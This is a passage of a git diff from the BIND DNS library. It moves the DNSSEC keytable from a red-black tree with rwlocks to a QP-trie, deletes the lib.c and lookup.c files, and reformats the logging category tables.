-	RWUNLOCK(&keytable->rwlock, isc_rwlocktype_write);
+	dns_qp_compact(qp, DNS_QPGC_MAYBE);
+	dns_qpmulti_commit(keytable->table, &qp);
+
 	return (result);
 }
 
@@ -505,25 +486,20 @@ isc_result_t
 dns_keytable_find(dns_keytable_t *keytable, const dns_name_t *keyname,
 		  dns_keynode_t **keynodep) {
 	isc_result_t result;
-	dns_rbtnode_t *node = NULL;
+	dns_qpread_t qpr;
+	void *pval = NULL;
 
 	REQUIRE(VALID_KEYTABLE(keytable));
 	REQUIRE(keyname != NULL);
 	REQUIRE(keynodep != NULL && *keynodep == NULL);
 
-	RWLOCK(&keytable->rwlock, isc_rwlocktype_read);
-	result = dns_rbt_findnode(keytable->table, keyname, NULL, &node, NULL,
-				  DNS_RBTFIND_NOOPTIONS, NULL, NULL);
+	dns_qpmulti_query(keytable->table, &qpr);
+	result = dns_qp_getname(&qpr, keyname, &pval, NULL);
 	if (result == ISC_R_SUCCESS) {
-		if (node->data != NULL) {
-			keynode_attach(node->data, keynodep);
-		} else {
-			result = ISC_R_NOTFOUND;
-		}
-	} else if (result == DNS_R_PARTIALMATCH) {
-		result = ISC_R_NOTFOUND;
+		dns_keynode_t *knode = pval;
+		dns_keynode_attach(knode, keynodep);
 	}
-	RWUNLOCK(&keytable->rwlock, isc_rwlocktype_read);
+	dns_qpread_destroy(keytable->table, &qpr);
 
 	return (result);
 }
@@ -532,7 +508,9 @@ isc_result_t
 dns_keytable_finddeepestmatch(dns_keytable_t *keytable, const dns_name_t *name,
 			      dns_name_t *foundname) {
 	isc_result_t result;
-	void *data;
+	dns_qpread_t qpr;
+	dns_keynode_t *keynode = NULL;
+	void *pval = NULL;
 
 	/*
 	 * Search for the deepest match in 'keytable'.
@@ -542,37 +520,26 @@ dns_keytable_finddeepestmatch(dns_keytable_t *keytable, const dns_name_t *name,
 	REQUIRE(dns_name_isabsolute(name));
 	REQUIRE(foundname != NULL);
 
-	RWLOCK(&keytable->rwlock, isc_rwlocktype_read);
-
-	data = NULL;
-	result = dns_rbt_findname(keytable->table, name, 0, foundname, &data);
+	dns_qpmulti_query(keytable->table, &qpr);
+	result = dns_qp_findname_ancestor(&qpr, name, 0, &pval, NULL);
+	keynode = pval;
 
 	if (result == ISC_R_SUCCESS || result == DNS_R_PARTIALMATCH) {
+		dns_name_copy(keynode->name, foundname);
 		result = ISC_R_SUCCESS;
 	}
 
-	RWUNLOCK(&keytable->rwlock, isc_rwlocktype_read);
-
+	dns_qpread_destroy(keytable->table, &qpr);
 	return (result);
 }
 
-void
-dns_keytable_detachkeynode(dns_keytable_t *keytable, dns_keynode_t **keynodep) {
-	/*
-	 * Give back a keynode found via dns_keytable_findkeynode().
-	 */
-
-	REQUIRE(VALID_KEYTABLE(keytable));
-	REQUIRE(keynodep != NULL && VALID_KEYNODE(*keynodep));
-
-	keynode_detach(keytable->mctx, keynodep);
-}
-
 isc_result_t
 dns_keytable_issecuredomain(dns_keytable_t *keytable, const dns_name_t *name,
 			    dns_name_t *foundname, bool *wantdnssecp) {
 	isc_result_t result;
-	dns_rbtnode_t *node = NULL;
+	dns_qpread_t qpr;
+	dns_keynode_t *keynode = NULL;
+	void *pval = NULL;
 
 	/*
 	 * Is 'name' at or beneath a trusted key?
@@ -582,12 +549,13 @@ dns_keytable_issecuredomain(dns_keytable_t *keytable, const dns_name_t *name,
 	REQUIRE(dns_name_isabsolute(name));
 	REQUIRE(wantdnssecp != NULL);
 
-	RWLOCK(&keytable->rwlock, isc_rwlocktype_read);
-
-	result = dns_rbt_findnode(keytable->table, name, foundname, &node, NULL,
-				  DNS_RBTFIND_NOOPTIONS, NULL, NULL);
+	dns_qpmulti_query(keytable->table, &qpr);
+	result = dns_qp_findname_ancestor(&qpr, name, 0, &pval, NULL);
 	if (result == ISC_R_SUCCESS || result == DNS_R_PARTIALMATCH) {
-		INSIST(node->data != NULL);
+		keynode = pval;
+		if (foundname != NULL) {
+			dns_name_copy(keynode->name, foundname);
+		}
 		*wantdnssecp = true;
 		result = ISC_R_SUCCESS;
 	} else if (result == ISC_R_NOTFOUND) {
@@ -595,7 +563,7 @@ dns_keytable_issecuredomain(dns_keytable_t *keytable, const dns_name_t *name,
 		result = ISC_R_SUCCESS;
 	}
 
-	RWUNLOCK(&keytable->rwlock, isc_rwlocktype_read);
+	dns_qpread_destroy(keytable->table, &qpr);
 
 	return (result);
 }
@@ -604,7 +572,7 @@ static isc_result_t
 putstr(isc_buffer_t **b, const char *str) {
 	isc_result_t result;
 
-	result = isc_buffer_reserve(b, strlen(str));
+	result = isc_buffer_reserve(*b, strlen(str));
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
@@ -643,20 +611,19 @@ dns_keytable_dump(dns_keytable_t *keytable, FILE *fp) {
 }
 
 static isc_result_t
-keynode_dslist_totext(dns_name_t *name, dns_keynode_t *keynode,
-		      isc_buffer_t **text) {
+keynode_dslist_totext(dns_keynode_t *keynode, isc_buffer_t **text) {
 	isc_result_t result;
 	char namebuf[DNS_NAME_FORMATSIZE];
 	char obuf[DNS_NAME_FORMATSIZE + 200];
 	dns_rdataset_t dsset;
 
-	dns_name_format(name, namebuf, sizeof(namebuf));
-
 	dns_rdataset_init(&dsset);
 	if (!dns_keynode_dsset(keynode, &dsset)) {
 		return (ISC_R_SUCCESS);
 	}
 
+	dns_name_format(keynode->name, namebuf, sizeof(namebuf));
+
 	for (result = dns_rdataset_first(&dsset); result == ISC_R_SUCCESS;
 	     result = dns_rdataset_next(&dsset))
 	{
@@ -690,121 +657,65 @@ keynode_dslist_totext(dns_name_t *name, dns_keynode_t *keynode,
 
 isc_result_t
 dns_keytable_totext(dns_keytable_t *keytable, isc_buffer_t **text) {
-	isc_result_t result;
-	dns_keynode_t *knode;
-	dns_rbtnode_t *node;
-	dns_rbtnodechain_t chain;
-	dns_name_t *foundname, *origin, *fullname;
-	dns_fixedname_t fixedfoundname, fixedorigin, fixedfullname;
+	isc_result_t result = ISC_R_SUCCESS;
+	dns_qpread_t qpr;
+	dns_qpiter_t iter;
+	void *pval = NULL;
 
 	REQUIRE(VALID_KEYTABLE(keytable));
 	REQUIRE(text != NULL && *text != NULL);
 
-	origin = dns_fixedname_initname(&fixedorigin);
-	fullname = dns_fixedname_initname(&fixedfullname);
-	foundname = dns_fixedname_initname(&fixedfoundname);
-
-	RWLOCK(&keytable->rwlock, isc_rwlocktype_read);
-	dns_rbtnodechain_init(&chain);
-	result = dns_rbtnodechain_first(&chain, keytable->table, NULL, NULL);
-	if (result != ISC_R_SUCCESS && result != DNS_R_NEWORIGIN) {
-		if (result == ISC_R_NOTFOUND) {
-			result = ISC_R_SUCCESS;
-		}
-		goto cleanup;
-	}
-	for (;;) {
-		dns_rbtnodechain_current(&chain, foundname, origin, &node);
-
-		knode = node->data;
-		if (knode != NULL && knode->dslist != NULL) {
-			result = dns_name_concatenate(foundname, origin,
-						      fullname, NULL);
-			if (result != ISC_R_SUCCESS) {
-				goto cleanup;
-			}
+	dns_qpmulti_query(keytable->table, &qpr);
+	dns_qpiter_init(&qpr, &iter);
 
-			result = keynode_dslist_totext(fullname, knode, text);
+	while (dns_qpiter_next(&iter, &pval, NULL) == ISC_R_SUCCESS) {
+		dns_keynode_t *knode = pval;
+		if (knode->dslist != NULL) {
+			result = keynode_dslist_totext(knode, text);
 			if (result != ISC_R_SUCCESS) {
-				goto cleanup;
+				break;
 			}
 		}
-
-		result = dns_rbtnodechain_next(&chain, NULL, NULL);
-		if (result != ISC_R_SUCCESS && result != DNS_R_NEWORIGIN) {
-			if (result == ISC_R_NOMORE) {
-				result = ISC_R_SUCCESS;
-			}
-			break;
-		}
 	}
 
-cleanup:
-	dns_rbtnodechain_invalidate(&chain);
-	RWUNLOCK(&keytable->rwlock, isc_rwlocktype_read);
+	dns_qpread_destroy(keytable->table, &qpr);
 	return (result);
 }
 
-isc_result_t
+void
 dns_keytable_forall(dns_keytable_t *keytable,
 		    void (*func)(dns_keytable_t *, dns_keynode_t *,
 				 dns_name_t *, void *),
 		    void *arg) {
-	isc_result_t result;
-	dns_rbtnode_t *node;
-	dns_rbtnodechain_t chain;
-	dns_fixedname_t fixedfoundname, fixedorigin, fixedfullname;
-	dns_name_t *foundname, *origin, *fullname;
+	dns_qpread_t qpr;
+	dns_qpiter_t iter;
+	void *pval = NULL;
 
 	REQUIRE(VALID_KEYTABLE(keytable));
 
-	origin = dns_fixedname_initname(&fixedorigin);
-	fullname = dns_fixedname_initname(&fixedfullname);
-	foundname = dns_fixedname_initname(&fixedfoundname);
+	dns_qpmulti_query(keytable->table, &qpr);
+	dns_qpiter_init(&qpr, &iter);
 
-	RWLOCK(&keytable->rwlock, isc_rwlocktype_read);
-	dns_rbtnodechain_init(&chain);
-	result = dns_rbtnodechain_first(&chain, keytable->table, NULL, NULL);
-	if (result != ISC_R_SUCCESS && result != DNS_R_NEWORIGIN) {
-		if (result == ISC_R_NOTFOUND) {
-			result = ISC_R_SUCCESS;
-		}
-		goto cleanup;
+	while (dns_qpiter_next(&iter, &pval, NULL) == ISC_R_SUCCESS) {
+		dns_keynode_t *knode = pval;
+		(*func)(keytable, knode, knode->name, arg);
 	}
 
-	for (;;) {
-		dns_rbtnodechain_current(&chain, foundname, origin, &node);
-		if (node->data != NULL) {
-			result = dns_name_concatenate(foundname, origin,
-						      fullname, NULL);
-			RUNTIME_CHECK(result == ISC_R_SUCCESS);
-			(*func)(keytable, node->data, fullname, arg);
-		}
-		result = dns_rbtnodechain_next(&chain, NULL, NULL);
-		if (result != ISC_R_SUCCESS && result != DNS_R_NEWORIGIN) {
-			if (result == ISC_R_NOMORE) {
-				result = ISC_R_SUCCESS;
-			}
-			break;
-		}
-	}
-
-cleanup:
-	dns_rbtnodechain_invalidate(&chain);
-	RWUNLOCK(&keytable->rwlock, isc_rwlocktype_read);
-	return (result);
+	dns_qpread_destroy(keytable->table, &qpr);
 }
 
 bool
 dns_keynode_dsset(dns_keynode_t *keynode, dns_rdataset_t *rdataset) {
 	bool result;
+
 	REQUIRE(VALID_KEYNODE(keynode));
 	REQUIRE(rdataset == NULL || DNS_RDATASET_VALID(rdataset));
 
 	RWLOCK(&keynode->rwlock, isc_rwlocktype_read);
 	if (keynode->dslist != NULL) {
 		if (rdataset != NULL) {
-			keynode_clone(&keynode->dsset, rdataset);
+			keynode_clone(&keynode->dsset,
+				      rdataset DNS__DB_FILELINE);
 		}
 		result = true;
 	} else {
@@ -850,32 +761,26 @@ dns_keynode_trust(dns_keynode_t *keynode) {
 }
 
 static void
-keynode_disassociate(dns_rdataset_t *rdataset) {
-	dns_keynode_t *keynode;
-
-	REQUIRE(rdataset != NULL);
-	REQUIRE(rdataset->methods == &methods);
+keynode_disassociate(dns_rdataset_t *rdataset DNS__DB_FLARG) {
+	dns_keynode_t *keynode = NULL;
 
 	rdataset->methods = NULL;
-	keynode = rdataset->private1;
-	rdataset->private1 = NULL;
+	keynode = rdataset->keytable.node;
+	rdataset->keytable.node = NULL;
 
-	keynode_detach(keynode->mctx, &keynode);
+	dns_keynode_detach(&keynode);
 }
 
 static isc_result_t
 keynode_first(dns_rdataset_t *rdataset) {
-	dns_keynode_t *keynode;
+	dns_keynode_t *keynode = NULL;
 
-	REQUIRE(rdataset != NULL);
-	REQUIRE(rdataset->methods == &methods);
-
-	keynode = rdataset->private1;
+	keynode = rdataset->keytable.node;
 	RWLOCK(&keynode->rwlock, isc_rwlocktype_read);
-	rdataset->private2 = ISC_LIST_HEAD(keynode->dslist->rdata);
+	rdataset->keytable.iter = ISC_LIST_HEAD(keynode->dslist->rdata);
 	RWUNLOCK(&keynode->rwlock, isc_rwlocktype_read);
 
-	if (rdataset->private2 == NULL) {
+	if (rdataset->keytable.iter == NULL) {
 		return (ISC_R_NOMORE);
 	}
 
@@ -884,23 +789,20 @@ keynode_first(dns_rdataset_t *rdataset) {
 
 static isc_result_t
 keynode_next(dns_rdataset_t *rdataset) {
-	dns_keynode_t *keynode;
-	dns_rdata_t *rdata;
-
-	REQUIRE(rdataset != NULL);
-	REQUIRE(rdataset->methods == &methods);
+	dns_keynode_t *keynode = NULL;
+	dns_rdata_t *rdata = NULL;
 
-	rdata = rdataset->private2;
+	rdata = rdataset->keytable.iter;
 	if (rdata == NULL) {
 		return (ISC_R_NOMORE);
 	}
 
-	keynode = rdataset->private1;
+	keynode = rdataset->keytable.node;
 	RWLOCK(&keynode->rwlock, isc_rwlocktype_read);
-	rdataset->private2 = ISC_LIST_NEXT(rdata, link);
+	rdataset->keytable.iter = ISC_LIST_NEXT(rdata, link);
 	RWUNLOCK(&keynode->rwlock, isc_rwlocktype_read);
 
-	if (rdataset->private2 == NULL) {
+	if (rdataset->keytable.iter == NULL) {
 		return (ISC_R_NOMORE);
 	}
 
@@ -909,32 +811,48 @@ keynode_next(dns_rdataset_t *rdataset) {
 
 static void
 keynode_current(dns_rdataset_t *rdataset, dns_rdata_t *rdata) {
-	dns_rdata_t *list_rdata;
+	dns_rdata_t *list_rdata = NULL;
 
-	REQUIRE(rdataset != NULL);
-	REQUIRE(rdataset->methods == &methods);
-
-	list_rdata = rdataset->private2;
+	list_rdata = rdataset->keytable.iter;
 	INSIST(list_rdata != NULL);
 
 	dns_rdata_clone(list_rdata, rdata);
 }
 
 static void
-keynode_clone(dns_rdataset_t *source, dns_rdataset_t *target) {
-	dns_keynode_t *keynode;
-
-	REQUIRE(source != NULL);
-	REQUIRE(target != NULL);
-	REQUIRE(source->methods == &methods);
+keynode_clone(dns_rdataset_t *source, dns_rdataset_t *target DNS__DB_FLARG) {
+	dns_keynode_t *keynode = NULL;
 
-	keynode = source->private1;
-	isc_refcount_increment(&keynode->refcount);
+	keynode = source->keytable.node;
+	isc_refcount_increment(&keynode->references);
 
 	*target = *source;
+	target->keytable.iter = NULL;
+}
 
-	/*
-	 * Reset iterator state.
-	 */
-	target->private2 = NULL;
+static void
+qp_attach(void *uctx ISC_ATTR_UNUSED, void *pval,
+	  uint32_t ival ISC_ATTR_UNUSED) {
+	dns_keynode_t *keynode = pval;
+	dns_keynode_ref(keynode);
+}
+
+static void
+qp_detach(void *uctx ISC_ATTR_UNUSED, void *pval,
+	  uint32_t ival ISC_ATTR_UNUSED) {
+	dns_keynode_t *keynode = pval;
+	dns_keynode_detach(&keynode);
+}
+
+static size_t
+qp_makekey(dns_qpkey_t key, void *uctx ISC_ATTR_UNUSED, void *pval,
+	   uint32_t ival ISC_ATTR_UNUSED) {
+	dns_keynode_t *keynode = pval;
+	return (dns_qpkey_fromname(key, keynode->name));
+}
+
+static void
+qp_triename(void *uctx, char *buf, size_t size) {
+	dns_view_t *view = uctx;
+	snprintf(buf, size, "view %s secroots table", view->name);
 }
diff --git a/lib/dns/lib.c b/lib/dns/lib.c
deleted file mode 100644
index a9c52b91ab..0000000000
--- a/lib/dns/lib.c
+++ /dev/null
@@ -1,104 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file */
-
-#include <stdbool.h>
-#include <stddef.h>
-
-#include <isc/hash.h>
-#include <isc/mem.h>
-#include <isc/mutex.h>
-#include <isc/once.h>
-#include <isc/refcount.h>
-#include <isc/util.h>
-
-#include <dns/db.h>
-#include <dns/lib.h>
-#include <dns/result.h>
-
-#include <dst/dst.h>
-
-/***
- *** Globals
- ***/
-
-LIBDNS_EXTERNAL_DATA unsigned int dns_pps = 0U;
-
-/***
- *** Functions
- ***/
-
-static isc_once_t init_once = ISC_ONCE_INIT;
-static isc_mem_t *dns_g_mctx = NULL;
-static bool initialize_done = false;
-static isc_refcount_t references;
-
-static void
-initialize(void) {
-	isc_result_t result;
-
-	REQUIRE(!initialize_done);
-
-	isc_refcount_init(&references, 0);
-
-	isc_mem_create(&dns_g_mctx);
-	dns_result_register();
-
-	result = dst_lib_init(dns_g_mctx, NULL);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_mctx;
-	}
-
-	initialize_done = true;
-	return;
-
-cleanup_mctx:
-	if (dns_g_mctx != NULL) {
-		isc_mem_detach(&dns_g_mctx);
-	}
-}
-
-isc_result_t
-dns_lib_init(void) {
-	isc_result_t result;
-
-	/*
-	 * Since this routine is expected to be used by a normal application,
-	 * it should be better to return an error, instead of an emergency
-	 * abort, on any failure.
-	 */
-	result = isc_once_do(&init_once, initialize);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	if (!initialize_done) {
-		return (ISC_R_FAILURE);
-	}
-
-	isc_refcount_increment0(&references);
-
-	return (ISC_R_SUCCESS);
-}
-
-void
-dns_lib_shutdown(void) {
-	if (isc_refcount_decrement(&references) == 1) {
-		dst_lib_destroy();
-
-		isc_refcount_destroy(&references);
-
-		if (dns_g_mctx != NULL) {
-			isc_mem_detach(&dns_g_mctx);
-		}
-	}
-}
diff --git a/lib/dns/log.c b/lib/dns/log.c
index 432f2dd967..6f583d763b 100644
--- a/lib/dns/log.c
+++ b/lib/dns/log.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -19,41 +21,39 @@
  * When adding a new category, be sure to add the appropriate
  * \#define to <dns/log.h>.
  */
-LIBDNS_EXTERNAL_DATA isc_logcategory_t dns_categories[] = {
-	{ "notify", 0 },       { "database", 0 },	 { "security", 0 },
-	{ "_placeholder", 0 }, { "dnssec", 0 },		 { "resolver", 0 },
-	{ "xfer-in", 0 },      { "xfer-out", 0 },	 { "dispatch", 0 },
-	{ "lame-servers", 0 }, { "delegation-only", 0 }, { "edns-disabled", 0 },
-	{ "rpz", 0 },	       { "rate-limit", 0 },	 { "cname", 0 },
-	{ "spill", 0 },	       { "dnstap", 0 },		 { "zoneload", 0 },
-	{ "nsid", 0 },	       { "rpz-passthru", 0 },	 { NULL, 0 }
+isc_logcategory_t dns_categories[] = {
+	{ "notify", 0 },	{ "database", 0 },
+	{ "security", 0 },	{ "_placeholder", 0 },
+	{ "dnssec", 0 },	{ "resolver", 0 },
+	{ "xfer-in", 0 },	{ "xfer-out", 0 },
+	{ "dispatch", 0 },	{ "lame-servers", 0 },
+	{ "edns-disabled", 0 }, { "rpz", 0 },
+	{ "rate-limit", 0 },	{ "cname", 0 },
+	{ "spill", 0 },		{ "dnstap", 0 },
+	{ "zoneload", 0 },	{ "nsid", 0 },
+	{ "rpz-passthru", 0 },	{ NULL, 0 }
 };
 
 /*%
  * When adding a new module, be sure to add the appropriate
  * \#define to <dns/log.h>.
  */
-LIBDNS_EXTERNAL_DATA isc_logmodule_t dns_modules[] = {
-	{ "dns/db", 0 },	 { "dns/rbtdb", 0 },
-	{ "dns/rbt", 0 },	 { "dns/rdata", 0 },
-	{ "dns/master", 0 },	 { "dns/message", 0 },
-	{ "dns/cache", 0 },	 { "dns/config", 0 },
-	{ "dns/resolver", 0 },	 { "dns/zone", 0 },
-	{ "dns/journal", 0 },	 { "dns/adb", 0 },
-	{ "dns/xfrin", 0 },	 { "dns/xfrout", 0 },
-	{ "dns/acl", 0 },	 { "dns/validator", 0 },
-	{ "dns/dispatch", 0 },	 { "dns/request", 0 },
-	{ "dns/masterdump", 0 }, { "dns/tsig", 0 },
-	{ "dns/tkey", 0 },	 { "dns/sdb", 0 },
-	{ "dns/diff", 0 },	 { "dns/hints", 0 },
-	{ "dns/unused1", 0 },	 { "dns/dlz", 0 },
-	{ "dns/dnssec", 0 },	 { "dns/crypto", 0 },
-	{ "dns/packets", 0 },	 { "dns/nta", 0 },
-	{ "dns/dyndb", 0 },	 { "dns/dnstap", 0 },
-	{ "dns/ssu", 0 },	 { NULL, 0 }
+isc_logmodule_t dns_modules[] = {
+	{ "dns/db", 0 },	 { "dns/rbtdb", 0 },	{ "dns/rbt", 0 },
+	{ "dns/rdata", 0 },	 { "dns/master", 0 },	{ "dns/message", 0 },
+	{ "dns/cache", 0 },	 { "dns/config", 0 },	{ "dns/resolver", 0 },
+	{ "dns/zone", 0 },	 { "dns/journal", 0 },	{ "dns/adb", 0 },
+	{ "dns/xfrin", 0 },	 { "dns/xfrout", 0 },	{ "dns/acl", 0 },
+	{ "dns/validator", 0 },	 { "dns/dispatch", 0 }, { "dns/request", 0 },
+	{ "dns/masterdump", 0 }, { "dns/tsig", 0 },	{ "dns/tkey", 0 },
+	{ "dns/sdb", 0 },	 { "dns/diff", 0 },	{ "dns/hints", 0 },
+	{ "dns/unused1", 0 },	 { "dns/dlz", 0 },	{ "dns/dnssec", 0 },
+	{ "dns/crypto", 0 },	 { "dns/packets", 0 },	{ "dns/nta", 0 },
+	{ "dns/dyndb", 0 },	 { "dns/dnstap", 0 },	{ "dns/ssu", 0 },
+	{ "dns/qp", 0 },	 { NULL, 0 },
 };
 
-LIBDNS_EXTERNAL_DATA isc_log_t *dns_lctx = NULL;
+isc_log_t *dns_lctx = NULL;
 
 void
 dns_log_init(isc_log_t *lctx) {
diff --git a/lib/dns/lookup.c b/lib/dns/lookup.c
deleted file mode 100644
index d62aaee2f4..0000000000
--- a/lib/dns/lookup.c
+++ /dev/null
@@ -1,448 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file */
-
-#include <stdbool.h>
-
-#include <isc/mem.h>
-#include <isc/netaddr.h>
-#include <isc/string.h> /* Required for HP/UX (and others?) */
-#include <isc/task.h>
-#include <isc/util.h>
-
-#include <dns/db.h>
-#include <dns/events.h>
-#include <dns/lookup.h>
-#include <dns/rdata.h>
-#include <dns/rdataset.h>
-#include <dns/rdatastruct.h>
-#include <dns/resolver.h>
-#include <dns/result.h>
-#include <dns/view.h>
-
-struct dns_lookup {
-	/* Unlocked. */
-	unsigned int magic;
-	isc_mem_t *mctx;
-	isc_mutex_t lock;
-	dns_rdatatype_t type;
-	dns_fixedname_t name;
-	/* Locked by lock. */
-	unsigned int options;
-	isc_task_t *task;
-	dns_view_t *view;
-	dns_lookupevent_t *event;
-	dns_fetch_t *fetch;
-	unsigned int restarts;
-	bool canceled;
-	dns_rdataset_t rdataset;
-	dns_rdataset_t sigrdataset;
-};
-
-#define LOOKUP_MAGIC	ISC_MAGIC('l', 'o', 'o', 'k')
-#define VALID_LOOKUP(l) ISC_MAGIC_VALID((l), LOOKUP_MAGIC)
-
-#define MAX_RESTARTS 16
-
-static void
-lookup_find(dns_lookup_t *lookup, dns_fetchevent_t *event);
-
-static void
-fetch_done(isc_task_t *task, isc_event_t *event) {
-	dns_lookup_t *lookup = event->ev_arg;
-	dns_fetchevent_t *fevent;
-
-	UNUSED(task);
-	REQUIRE(event->ev_type == DNS_EVENT_FETCHDONE);
-	REQUIRE(VALID_LOOKUP(lookup));
-	REQUIRE(lookup->task == task);
-	fevent = (dns_fetchevent_t *)event;
-	REQUIRE(fevent->fetch == lookup->fetch);
-
-	lookup_find(lookup, fevent);
-}
-
-static inline isc_result_t
-start_fetch(dns_lookup_t *lookup) {
-	isc_result_t result;
-
-	/*
-	 * The caller must be holding the lookup's lock.
-	 */
-
-	REQUIRE(lookup->fetch == NULL);
-
-	result = dns_resolver_createfetch(
-		lookup->view->resolver, dns_fixedname_name(&lookup->name),
-		lookup->type, NULL, NULL, NULL, NULL, 0, 0, 0, NULL,
-		lookup->task, fetch_done, lookup, &lookup->rdataset,
-		&lookup->sigrdataset, &lookup->fetch);
-
-	return (result);
-}
-
-static isc_result_t
-build_event(dns_lookup_t *lookup) {
-	dns_name_t *name = NULL;
-	dns_rdataset_t *rdataset = NULL;
-	dns_rdataset_t *sigrdataset = NULL;
-
-	name = isc_mem_get(lookup->mctx, sizeof(dns_name_t));
-	dns_name_init(name, NULL);
-	dns_name_dup(dns_fixedname_name(&lookup->name), lookup->mctx, name);
-
-	if (dns_rdataset_isassociated(&lookup->rdataset)) {
-		rdataset = isc_mem_get(lookup->mctx, sizeof(dns_rdataset_t));
-		dns_rdataset_init(rdataset);
-		dns_rdataset_clone(&lookup->rdataset, rdataset);
-	}
-
-	if (dns_rdataset_isassociated(&lookup->sigrdataset)) {
-		sigrdataset = isc_mem_get(lookup->mctx, sizeof(dns_rdataset_t));
-		dns_rdataset_init(sigrdataset);
-		dns_rdataset_clone(&lookup->sigrdataset, sigrdataset);
-	}
-
-	lookup->event->name = name;
-	lookup->event->rdataset = rdataset;
-	lookup->event->sigrdataset = sigrdataset;
-
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-view_find(dns_lookup_t *lookup, dns_name_t *foundname) {
-	isc_result_t result;
-	dns_name_t *name = dns_fixedname_name(&lookup->name);
-	dns_rdatatype_t type;
-
-	if (lookup->type == dns_rdatatype_rrsig) {
-		type = dns_rdatatype_any;
-	} else {
-		type = lookup->type;
-	}
-
-	result = dns_view_find(lookup->view, name, type, 0, 0, false, false,
-			       &lookup->event->db, &lookup->event->node,
-			       foundname, &lookup->rdataset,
-			       &lookup->sigrdataset);
-	return (result);
-}
-
-static void
-lookup_find(dns_lookup_t *lookup, dns_fetchevent_t *event) {
-	isc_result_t result;
-	bool want_restart;
-	bool send_event;
-	dns_name_t *name, *fname, *prefix;
-	dns_fixedname_t foundname, fixed;
-	dns_rdata_t rdata = DNS_RDATA_INIT;
-	unsigned int nlabels;
-	int order;
-	dns_namereln_t namereln;
-	dns_rdata_cname_t cname;
-	dns_rdata_dname_t dname;
-
-	REQUIRE(VALID_LOOKUP(lookup));
-
-	LOCK(&lookup->lock);
-
-	result = ISC_R_SUCCESS;
-	name = dns_fixedname_name(&lookup->name);
-
-	do {
-		lookup->restarts++;
-		want_restart = false;
-		send_event = true;
-
-		if (event == NULL && !lookup->canceled) {
-			fname = dns_fixedname_initname(&foundname);
-			INSIST(!dns_rdataset_isassociated(&lookup->rdataset));
-			INSIST(!dns_rdataset_isassociated(
-				&lookup->sigrdataset));
-			/*
-			 * If we have restarted then clear the old node.
-			 */
-			if (lookup->event->node != NULL) {
-				INSIST(lookup->event->db != NULL);
-				dns_db_detachnode(lookup->event->db,
-						  &lookup->event->node);
-			}
-			if (lookup->event->db != NULL) {
-				dns_db_detach(&lookup->event->db);
-			}
-			result = view_find(lookup, fname);
-			if (result == ISC_R_NOTFOUND) {
-				/*
-				 * We don't know anything about the name.
-				 * Launch a fetch.
-				 */
-				if (lookup->event->node != NULL) {
-					INSIST(lookup->event->db != NULL);
-					dns_db_detachnode(lookup->event->db,
-							  &lookup->event->node);
-				}
-				if (lookup->event->db != NULL) {
-					dns_db_detach(&lookup->event->db);
-				}
-				result = start_fetch(lookup);
-				if (result == ISC_R_SUCCESS) {
-					send_event = false;
-				}
-				goto done;
-			}
-		} else if (event != NULL) {
-			result = event->result;
-			fname = dns_fixedname_name(&event->foundname);
-			dns_resolver_destroyfetch(&lookup->fetch);
-			INSIST(event->rdataset == &lookup->rdataset);
-			INSIST(event->sigrdataset == &lookup->sigrdataset);
-		} else {
-			fname = NULL; /* Silence compiler warning. */
-		}
-
-		/*
-		 * If we've been canceled, forget about the result.
-		 */
-		if (lookup->canceled) {
-			result = ISC_R_CANCELED;
-		}
-
-		switch (result) {
-		case ISC_R_SUCCESS:
-			result = build_event(lookup);
-			if (event == NULL) {
-				break;
-			}
-			if (event->db != NULL) {
-				dns_db_attach(event->db, &lookup->event->db);
-			}
-			if (event->node != NULL) {
-				dns_db_attachnode(lookup->event->db,
-						  event->node,
-						  &lookup->event->node);
-			}
-			break;
-		case DNS_R_CNAME:
-			/*
-			 * Copy the CNAME's target into the lookup's
-			 * query name and start over.
-			 */
-			result = dns_rdataset_first(&lookup->rdataset);
-			if (result != ISC_R_SUCCESS) {
-				break;
-			}
-			dns_rdataset_current(&lookup->rdataset, &rdata);
-			result = dns_rdata_tostruct(&rdata, &cname, NULL);
-			dns_rdata_reset(&rdata);
-			if (result != ISC_R_SUCCESS) {
-				break;
-			}
-			dns_name_copy(&cname.cname, name);
-			dns_rdata_freestruct(&cname);
-			want_restart = true;
-			send_event = false;
-			break;
-		case DNS_R_DNAME:
-			namereln = dns_name_fullcompare(name, fname, &order,
-							&nlabels);
-			INSIST(namereln == dns_namereln_subdomain);
-			/*
-			 * Get the target name of the DNAME.
-			 */
-			result = dns_rdataset_first(&lookup->rdataset);
-			if (result != ISC_R_SUCCESS) {
-				break;
-			}
-			dns_rdataset_current(&lookup->rdataset, &rdata);
-			result = dns_rdata_tostruct(&rdata, &dname, NULL);
-			dns_rdata_reset(&rdata);
-			if (result != ISC_R_SUCCESS) {
-				break;
-			}
-			/*
-			 * Construct the new query name and start over.
-			 */
-			prefix = dns_fixedname_initname(&fixed);
-			dns_name_split(name, nlabels, prefix, NULL);
-			result = dns_name_concatenate(prefix, &dname.dname,
-						      name, NULL);
-			dns_rdata_freestruct(&dname);
-			if (result == ISC_R_SUCCESS) {
-				want_restart = true;
-				send_event = false;
-			}
-			break;
-		default:
-			send_event = true;
-		}
-
-		if (dns_rdataset_isassociated(&lookup->rdataset)) {
-			dns_rdataset_disassociate(&lookup->rdataset);
-		}
-		if (dns_rdataset_isassociated(&lookup->sigrdataset)) {
